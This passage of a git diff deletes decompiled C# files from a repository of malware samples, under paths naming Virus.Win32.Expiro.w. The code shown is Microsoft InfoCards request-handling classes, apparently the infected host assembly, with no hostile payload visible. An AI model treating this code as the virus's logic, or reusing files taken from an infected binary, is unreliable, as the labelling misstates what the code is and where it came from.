this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_mode = (CipherMode) binaryReader.ReadInt32(); - this.m_padding = (PaddingMode) binaryReader.ReadInt32(); - this.m_feedbackSize = binaryReader.ReadInt32(); - this.m_direction = (SymmetricCryptoSession.Direction) binaryReader.ReadInt32(); - this.m_iv = binaryReader.ReadBytes(binaryReader.ReadInt32()); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_feedbackSize, "feedbackSize"); - } - - protected override void OnProcess() => this.m_transformSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetCryptoTransform(this.m_mode, this.m_padding, this.m_feedbackSize, this.m_direction, this.m_iv); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_transformSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetFileNameResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetFileNameResult.cs deleted file mode 100644 index 8cc17d97..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetFileNameResult.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetFileNameResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal class GetFileNameResult - { - private string m_fileName; - private byte[] m_fileContent; - - public string FileName - { - set => this.m_fileName = value; - get => this.m_fileName; - } - - public byte[] FileContent - { - set => this.m_fileContent = value; - get => this.m_fileContent; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportFileNameRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportFileNameRequest.cs deleted file mode 100644 index 2addfb90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportFileNameRequest.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportFileNameRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportFileNameRequest : UIAgentRequest - { - private string m_filename = string.Empty; - - public GetImportFileNameRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - if (this.ParentRequest is ImportRequest) - { - this.m_filename = (this.ParentRequest as ImportRequest).ImportedFile; - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - } - else - InfoCardTrace.Assert(false, "The parent of this request MUST be ImportRequest"); - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_filename); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportedCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportedCardRequest.cs deleted file mode 100644 index b7e2e147..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetImportedCardRequest.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetImportedCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetImportedCardRequest : UIAgentRequest - { - private InfoCard m_card; - private Recipient m_issuer; - private string m_filename; - private string m_policyLink; - private InfoCardPolicy m_policy; - private GetImportedCardRequest.ImportCardMatchStatus m_matchFlag; - - public GetImportedCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_matchFlag = GetImportedCardRequest.ImportCardMatchStatus.MatchNone; - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() => this.m_filename = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name provided for import"); - InfoCardXmlSerializer cardXmlSerializer = new InfoCardXmlSerializer(connection); - cardXmlSerializer.CheckSignature = true; - cardXmlSerializer.Deserialize(this.m_filename); - this.m_card = cardXmlSerializer.Card; - this.m_card.IsImported = true; - this.m_card.InstalledOn = DateTime.Now; - X509Certificate2 issuer = cardXmlSerializer.Issuer; - if (issuer == null || this.m_card == null || !this.m_card.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(issuer, cardXmlSerializer.AdditionalIssuerCerts, cardXmlSerializer.IsIssuerChainTrusted); - this.ParentRequest.CertCacheAdd(recipientIdHash, issuer); - this.m_issuer = new Recipient(issuer, recipientIdHash, organizationIdHash, true, this.m_card.PrivacyPolicyVersion, recipientParams); - this.m_card.IssuerName = !this.m_issuer.IsOrganizationVerified() ? this.m_issuer.RecipientParameters.m_cn : this.m_issuer.RecipientParameters.m_organization; - this.m_policyLink = this.m_card.PrivacyPolicyLink; - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_card.Id.ToString()) - }) - }.ToArray()); - if (singleRow == null) - return; - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - InfoCard card = new InfoCard((Stream) memoryStream); - this.m_matchFlag = (int) card.Epoch != (int) this.m_card.Epoch ? (card.Epoch >= this.m_card.Epoch ? GetImportedCardRequest.ImportCardMatchStatus.MatchNewerVersion : GetImportedCardRequest.ImportCardMatchStatus.MatchOlderVersion) : GetImportedCardRequest.ImportCardMatchStatus.MatchSameVersion; - this.m_card.CopyMetaData(card); - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - if (this.m_card == null || this.m_issuer == null || !this.m_card.IsComplete()) - return; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - BinaryWriter writer = new BinaryWriter(outArgs, Encoding.Unicode); - this.m_issuer.Serialize(writer); - Utility.SerializeString(writer, this.m_policyLink); - writer.Write((byte) this.m_matchFlag); - } - finally - { - connection.Close(); - } - } - - public enum ImportCardMatchStatus : byte - { - MatchNone, - MatchSameVersion, - MatchNewerVersion, - MatchOlderVersion, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetIsBrowserClientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetIsBrowserClientRequest.cs deleted file mode 100644 index 4030cd00..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetIsBrowserClientRequest.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetIsBrowserClientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetIsBrowserClientRequest : UIAgentRequest - { - public GetIsBrowserClientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.ParentRequest is GetBrowserTokenRequest); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetKeyedHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetKeyedHashRequest.cs deleted file mode 100644 index 1ff8f96e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetKeyedHashRequest.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetKeyedHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetKeyedHashRequest : ClientRequest - { - private int m_cryptoSession; - private HashCryptoSession m_hashSession; - - public GetKeyedHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() => this.m_hashSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetKeyedHash(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_hashSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs deleted file mode 100644 index 1cb01b11..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLastErrorDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLastErrorDetailsRequest : UIAgentRequest - { - public GetLastErrorDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.ParentRequest is GetBrowserTokenRequest); - int num = -1073413888; - Exception exception1 = this.ParentRequest.ProcessingException; - if (exception1 != null) - { - Exception exception2 = (Exception) null; - for (; exception1 is InfoCardBaseException; exception1 = exception1.InnerException) - { - exception2 = exception1; - if (exception1.InnerException == null) - break; - } - if (exception2 != null) - num = (exception2 as InfoCardBaseException).NativeHResult; - } - binaryWriter.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs deleted file mode 100644 index 4cc55e1d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerEntryForRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerEntryForRecipientRequest : UIAgentRequest - { - private Uri m_cardId; - private string m_recipientId; - private byte[] m_bytes; - - public GetLedgerEntryForRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cardId = Utility.DeserializeUri(reader); - this.m_recipientId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "The card Id must not be null"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "The thumbPrint must be specified"); - List queryParameterList = new List(); - queryParameterList.Add(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - })); - queryParameterList.Add(new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - queryParameterList.Add(new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(queryParameterList.ToArray()); - if (singleRow == null) - return; - this.m_bytes = singleRow.GetDataField(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_bytes == null) - return; - this.OutArgs.Write(this.m_bytes, 0, this.m_bytes.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerRequest.cs deleted file mode 100644 index 8f0e1af6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetLedgerRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerRequest : UIAgentRequest - { - private Uri m_cardId; - private LedgerEntryCollection m_ledger; - - public GetLedgerRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null rpc handle"); - InfoCardTrace.Assert(null != inArgs, "Null inArgs"); - InfoCardTrace.Assert(null != outArgs, "Null out args"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "null request argument"); - this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "No CardId passed to GetLedgerRequest"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_ledger = new LedgerEntryCollection(this.m_cardId); - this.m_ledger.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_ledger, "No ledger collection exists to be serialized"); - this.m_ledger.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetPolicyDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetPolicyDetailsRequest.cs deleted file mode 100644 index c67aff01..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetPolicyDetailsRequest.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetPolicyDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetPolicyDetailsRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private Recipient m_recipient; - private string m_privacyPolicyLink = string.Empty; - - public GetPolicyDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_policy.Recipient.GetIdentifier() - }) - }.ToArray()); - if (this.m_policy.Recipient is X509RecipientIdentity recipient) - this.ParentRequest.CertCacheAdd(this.m_policy.Recipient.GetIdentifier(), recipient.LeafCertificate); - if (singleRow != null) - { - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField()), this.m_policy.Recipient, true); - if (this.m_recipient.Trust == Recipient.TrustDecision.IsTrusted && (int) this.m_recipient.PrivacyPolicyVersion != (int) this.m_policy.PrivacyPolicyVersion) - this.m_recipient.Trust = Recipient.TrustDecision.PolicyVersionChange; - this.m_recipient.PrivacyPolicyVersion = this.m_policy.PrivacyPolicyVersion; - } - else - { - this.m_recipient = new Recipient(this.m_policy.Recipient, true, this.m_policy.PrivacyPolicyVersion); - this.m_recipient.Trust = Recipient.TrustDecision.NoTrustDecision; - } - this.m_privacyPolicyLink = this.m_policy.PrivacyPolicyLink; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.m_policy.RequiresManagedCard); - writer.Write(this.m_policy.RequiresSelfIssuedCard); - writer.Write(this.ParentRequest is GetBrowserTokenRequest); - this.m_recipient.Serialize(writer); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - if (this.m_policy.RequiredClaims != null) - { - writer.Write(this.m_policy.RequiredClaims.Length); - for (int index = 0; index < this.m_policy.RequiredClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.RequiredClaims[index]); - } - else - writer.Write(0); - if (this.m_policy.OptionalClaims != null) - { - writer.Write(this.m_policy.OptionalClaims.Length); - for (int index = 0; index < this.m_policy.OptionalClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.OptionalClaims[index]); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientListRequest.cs deleted file mode 100644 index c05621e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientListRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientListRequest : UIAgentRequest - { - private IList m_recipientList; - - public GetRecipientListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - })); - if (dataRowList == null) - return; - IList recipientList = (IList) new List(dataRowList.Count); - foreach (DataRow dataRow in (IEnumerable) dataRowList) - recipientList.Add(new Recipient((Stream) new MemoryStream(dataRow.GetDataField()))); - this.m_recipientList = recipientList; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - uint num = 0; - if (this.m_recipientList != null) - { - uint count = (uint) this.m_recipientList.Count; - writer.Write(count); - foreach (Recipient recipient in (IEnumerable) this.m_recipientList) - recipient.Serialize(writer); - } - else - writer.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientRequest.cs deleted file mode 100644 index 9194bbd2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientRequest : UIAgentRequest - { - private string m_recipientId; - private Recipient m_recipient; - - public GetRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientId = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_recipientId, "null thumb print"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }) - }.ToArray()); - if (singleRow == null) - return; - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(null != this.m_recipient, "null recipient"); - this.m_recipient.Serialize(writer); - } - } -} diff --git 